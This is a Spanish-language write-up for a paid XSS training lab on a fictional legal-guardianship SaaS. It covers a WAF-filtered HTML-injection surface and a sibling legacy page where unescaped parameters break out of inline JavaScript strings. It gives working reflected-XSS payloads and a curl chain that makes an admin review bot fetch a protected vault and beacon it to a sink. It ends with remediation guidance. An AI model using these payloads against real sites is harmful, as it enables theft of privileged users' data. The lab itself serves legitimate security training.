Portal de Custodia, un SaaS legal-tech de gestión tutelar. Dos páginas legacy reflejan parámetros de URL sin escapar.
This bug paid $300 on YesWeHack.
Create your account and practice real bugs that got paid. Download the environment, find it and learn the exact technique — your path to your first bounty.
hunters training
labs from real reports
completions
in bounties practiced
Access to all labs · no commitment · cancel anytime
Solve this lab to unlock this shareable achievement
Custodia es una plataforma legal-tech (SaaS) de gestión tutelar: da servicio a representantes legales —tutores, curadores y defensores judiciales designados por un juzgado— que administran los trámites de personas representadas (adultos vulnerables bajo una medida de apoyo). El portal permite (a) presentar procedimientos judiciales mediante un formulario que se pre-rellena con datos vía parámetros de URL —enlaces que el juzgado o la propia plataforma generan y comparten— y (b) consultar el registro de criterios de admisibilidad de expedientes en una página de búsqueda legacy.
El stack es Express 4.21 + TypeScript 5.7 + better-sqlite3 11.x + React 18 + Vite, con un bot Puppeteer-core in-process, todo en un único contenedor en el puerto 1700. El dashboard autenticado (login, personas representadas, trámites, cola de revisión, lectura del sink) es la SPA React; las dos páginas vulnerables se sirven fuera de la SPA, como HTML crudo con <script> inline, para reproducir con fidelidad la reflexión de parámetros de un portal legacy.
El fallo raíz es el mismo en dos sitios: output encoding roto (CWE-116). Lo interesante —y lo que hace este lab Hard— es la asimetría: un WAF degrada una de las superficies a solo phishing mientras la otra queda como full-XSS.
GET /procedure/submit (server/src/views/procedureSubmit.ts) sirve un formulario cuyo <script> inline lee doce parámetros p_* (p_case_ref, p_ward_name, p_ward_id, p_court, p_measure_type, p_representative, p_filing_date, p_hearing_date, p_amount, p_currency, p_reference_code, p_notes) de location.search y los inyecta en inputs ocultos vía jQuery .prepend('<input … value="' + val + '">'), sin escapar "/</>. Un breakout de atributo trivial (?p_case_ref="><img src=x onerror=…>) rompería el value=""… salvo que delante está el Custodia Edge Gateway (server/src/middleware/edgeGateway.ts, montado solo sobre /procedure/* en index.ts). El gateway inspecciona la query string cruda —y su forma decodificada— contra tres reglas: on\w+\s*=, <\s*script y javascript:. Cualquier coincidencia devuelve 403 — Request blocked by security gateway con cabecera X-Gateway: edge y ref EDGE-RULE-XSS.
Lo que el gateway no bloquea son los tags inertes (<details>, <summary>, <dialog>, <mark>…), enmarcados en el código como "compatibilidad con plantillas de accesibilidad". Eso deja pasar HTML injection: puedes inyectar un <details open><summary>IMPORTANTE: verifique su identidad</summary>…</details> y montar una superficie de phishing real. Pero ningún JavaScript se ejecuta ahí, así que la Superficie A no captura la flag (CWE-1021 + CWE-693). Un hunter puede quemar media hora intentando bypassear el WAF con mutaciones de event-handler (onbeforetoggle, onpointerrawupdate) o <svg>; el filtro está bien afinado y no cede. La salida no es romper A: es encontrar B.
GET /registry/criteres_v2 (server/src/views/criteresV2.ts) es la página hermana "legacy" (_v2, "migrada a medias"). Refleja seis parámetros —p_name, p_category, p_status, p_court, p_year, p_ref— dos veces. En los value="…" del formulario los pasa por escHtml() (contexto de atributo, seguro), pero en un <script> inline al final de la página los interpola crudos dentro de literales de string:
<script>
var name = '<p_name>';
var category = '<p_category>';
var status = '<p_status>';
…
</script>
Ahí no hay escape de la comilla simple. Un ?p_name=x';…// cierra el literal, inyecta JS arbitrario y comenta el resto. Esa doble reflexión —el mismo valor escapado en el atributo y crudo en el <script>— es exactamente el patrón que engaña: la página "parece" saneada porque el input del formulario se ve escapado. La regla del gateway no cubre /registry/*, y la CSP de esta página es la misma config legacy laxa que la de A: script-src 'self' cdn.custodia-static.test cdn.jqhost.test 'unsafe-inline' 'unsafe-eval', que permite inline y eval. Resultado: reflected XSS single-click con ejecución de JS, mismo root cause que A pero sin el filtro.
La flag vive solo en GET /api/vault, que devuelve 403 a la sesión del jugador (role=user) y 200 únicamente a role=admin. La única sesión admin del sistema es la del revisor de solicitudes: un bot Puppeteer-core (server/src/bot/reviewBot.ts) que hace login como admin (password crypto.randomBytes(32) rotada por boot, que el jugador nunca conoce), hace polling de GET /api/review/tickets?status=new cada 8 s, y por cada ticket con un link valida que sea same-origin (localhost:1700, 127.0.0.1:1700, custodia:1700 — rechaza off-origin, jamás un SSRF abierto), setea la cookie custodia_session con su JWT admin y navega la URL con un dwell de 3 s.
La cadena: crafteas una URL de la Superficie B cuyo payload haga fetch('/api/vault') en el contexto del bot (autenticado como admin) y balice la respuesta a POST /collect?data=… (o GET /collect?data=… vía new Image().src). Encolas esa URL en POST /api/review/tickets (campo link). El bot la abre, el XSS corre en su sesión admin, el fetch devuelve la flag y la POSTea al sink same-origin. Tú la recuperas en GET /collect/log.
attacker@custodia.test / password123. Descubres /procedure/submit y /registry/criteres_v2, ambas reflejando parámetros de URL sin escaparlos.curl -i 'http://localhost:1700/procedure/submit?p_case_ref="><img src=x onerror=alert(1)>' → 403 con X-Gateway: edge. El breakout de atributo funciona a nivel de HTML, pero el gateway corta on\w+=/<script>.?p_notes=<details open><summary>Verifique su identidad</summary>…</details>) pasa el gateway (200) y renderiza contenido de phishing. Ningún JS se ejecuta → descartas A.http://localhost:1700/registry/criteres_v2?p_name=x';alert(document.domain)// ejecuta JS. Confirmas que la comilla simple no se escapa en el <script> de la página (queda var name = 'x';alert(document.domain)//';).GET /collect/log → la flag.http://localhost:1700/registry/criteres_v2?p_name=x';fetch('/api/vault').then(r=>r.text()).then(d=>{new Image().src='/collect?data='+encodeURIComponent(d)});//
Que, al abrirse en el contexto admin del bot, ejecuta:
var name = 'x';
fetch('/api/vault')
.then(r => r.text())
.then(d => { new Image().src = '/collect?data=' + encodeURIComponent(d); });
//';
Flujo manual con curl (autenticado como attacker):
# 1. login → token
TOKEN=$(curl -s -X POST http://localhost:1700/api/auth/login \
-H 'Content-Type: application/json' \
-d '{"email":"attacker@custodia.test","password":"password123"}' | jq -r .token)
# 2. encolar la URL de la Superficie B para el revisor (nota: la comilla y los
# caracteres del payload deben ir URL-encoded dentro del valor de `link`)
curl -s -X POST http://localhost:1700/api/review/tickets \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"title":"Revisión de expediente","link":"http://localhost:1700/registry/criteres_v2?p_name=x%27;fetch(%27/api/vault%27).then(r=>r.text()).then(d=>{new%20Image().src=%27/collect?data=%27%2BencodeURIComponent(d)});//"}'
# 3. esperar 1-2 ciclos del bot (~8-16 s) y leer el sink
sleep 18
curl -s http://localhost:1700/collect/log -H "Authorization: Bearer $TOKEN" | jq
El PoC end-to-end automatizado vive en exploit.py; la verificación en tests/verify.py; el walkthrough interactivo (real-fetch + diagrama + terminal) en /writeup.
/api/vault devuelve 403 a la sesión del jugador y 200 solo a role=admin. La única sesión admin es la del bot. La flag no está en el bundle cliente, ni en respuestas anónimas, ni en variables de entorno expuestas al navegador: solo se obtiene ejecutando JavaScript en el contexto del bot. La Superficie A es incapaz de hacerlo (el WAF corta todo el JS) → el camino a la flag es forzosamente la Superficie B.
GET /registry/search: buscador parametrizado (LIKE ?) que ecoa el término solo dentro de un cuerpo JSON y lo renderiza en la SPA con auto-escaping de React. Parece la superficie inyectable obvia y es inerte.GET /api/files/preview?path=: ecoa un path saneado (corta ../) en JSON, con Content-Type: application/json, nunca reflejado en HTML. Aparenta path traversal / reflected sink pero no lo es.value="…" necesita escape de atributo HTML (escHtml, que la página ya aplica en el formulario); el mismo valor dentro de var x = '…' necesita escape de string JavaScript (o serializarlo con JSON.stringify server-side). Nunca interpolar input en un literal de string JS crudo./procedure/* y solo bloquea event-handlers/<script>; no salva de la Superficie B ni de contextos que no encajan en sus regex. Un WAF es defensa en profundidad, no el arreglo.unsafe-inline y unsafe-eval; usar nonces/hashes para los scripts legítimos. Con una CSP correcta, el fetch inyectado no se ejecutaría./api/vault) y no exponer datos internos a sesiones que abran contenido arbitrario.Reproduce it and find the bug yourself